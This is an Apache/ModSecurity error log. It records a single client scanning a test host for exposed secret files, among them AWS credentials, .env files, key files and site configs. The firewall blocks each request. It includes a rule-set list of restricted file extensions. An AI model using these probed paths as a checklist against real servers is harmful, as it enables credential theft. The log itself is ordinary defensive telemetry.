[Sun Jun 29 20:22:46.146486 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3-credentials.bak&quot;] [unique_id &quot;aGGEduU-dj-hWt1UAd7gwgAAAAU&quot;]
[Sun Jun 29 20:22:46.146728 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3-credentials.bak&quot;] [unique_id &quot;aGGEduU-dj-hWt1UAd7gwgAAAAU&quot;]
[Sun Jun 29 20:23:04.099880 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /s3/.aws/config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config.json&quot;] [unique_id &quot;aGGEiHtTxOj9v32ojom6KAAAAAE&quot;]
[Sun Jun 29 20:23:04.100135 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config.json&quot;] [unique_id &quot;aGGEiHtTxOj9v32ojom6KAAAAAE&quot;]
[Sun Jun 29 20:23:04.100318 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config.json&quot;] [unique_id &quot;aGGEiHtTxOj9v32ojom6KAAAAAE&quot;]
[Sun Jun 29 20:23:04.136103 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /s3/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/credentials&quot;] [unique_id &quot;aGGEiHtTxOj9v32ojom6KQAAAAE&quot;]
[Sun Jun 29 20:23:04.136367 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/credentials&quot;] [unique_id &quot;aGGEiHtTxOj9v32ojom6KQAAAAE&quot;]
[Sun Jun 29 20:23:04.136547 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/credentials&quot;] [unique_id &quot;aGGEiHtTxOj9v32ojom6KQAAAAE&quot;]
[Sun Jun 29 20:23:04.156786 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /s3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env&quot;] [unique_id &quot;aGGEiHtTxOj9v32ojom6KgAAAAE&quot;]
[Sun Jun 29 20:23:04.157052 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env&quot;] [unique_id &quot;aGGEiHtTxOj9v32ojom6KgAAAAE&quot;]
[Sun Jun 29 20:23:04.157246 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env&quot;] [unique_id &quot;aGGEiHtTxOj9v32ojom6KgAAAAE&quot;]
[Sun Jun 29 20:23:04.178315 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;aGGEiHtTxOj9v32ojom6KwAAAAE&quot;]
[Sun Jun 29 20:23:04.178516 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /s3/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;aGGEiHtTxOj9v32ojom6KwAAAAE&quot;]
[Sun Jun 29 20:23:04.178751 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;aGGEiHtTxOj9v32ojom6KwAAAAE&quot;]
[Sun Jun 29 20:23:04.178940 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;aGGEiHtTxOj9v32ojom6KwAAAAE&quot;]
[Sun Jun 29 20:23:09.270532 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /secret/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secret/.env&quot;] [unique_id &quot;aGGEjXtTxOj9v32ojom6OAAAAAE&quot;]
[Sun Jun 29 20:23:09.270767 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secret/.env&quot;] [unique_id &quot;aGGEjXtTxOj9v32ojom6OAAAAAE&quot;]
[Sun Jun 29 20:23:09.270980 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secret/.env&quot;] [unique_id &quot;aGGEjXtTxOj9v32ojom6OAAAAAE&quot;]
[Sun Jun 29 20:23:09.312270 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/secret.key&quot;] [unique_id &quot;aGGEjXtTxOj9v32ojom6OgAAAAE&quot;]
[Sun Jun 29 20:23:09.312618 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/secret.key&quot;] [unique_id &quot;aGGEjXtTxOj9v32ojom6OgAAAAE&quot;]
[Sun Jun 29 20:23:09.312794 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/secret.key&quot;] [unique_id &quot;aGGEjXtTxOj9v32ojom6OgAAAAE&quot;]
[Sun Jun 29 20:23:09.417757 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid.key&quot;] [unique_id &quot;aGGEjXtTxOj9v32ojom6PwAAAAE&quot;]
[Sun Jun 29 20:23:09.418081 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid.key&quot;] [unique_id &quot;aGGEjXtTxOj9v32ojom6PwAAAAE&quot;]
[Sun Jun 29 20:23:09.418262 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid.key&quot;] [unique_id &quot;aGGEjXtTxOj9v32ojom6PwAAAAE&quot;]
[Sun Jun 29 20:23:09.593100 2025] [authz_core:error] [pid 2967919] [client 185.177.72.107:12082] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Sun Jun 29 20:23:14.254699 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aGGEkntTxOj9v32ojom6RgAAAAE&quot;]
[Sun Jun 29 20:23:14.254949 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aGGEkntTxOj9v32ojom6RgAAAAE&quot;]
[Sun Jun 29 20:23:14.255154 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aGGEkntTxOj9v32ojom6RgAAAAE&quot;]
[Sun Jun 29 20:23:19.304387 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.conf&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6WgAAAAE&quot;]
[Sun Jun 29 20:23:19.304725 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.conf&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6WgAAAAE&quot;]
[Sun Jun 29 20:23:19.304904 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.conf&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6WgAAAAE&quot;]
[Sun Jun 29 20:23:19.325072 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver 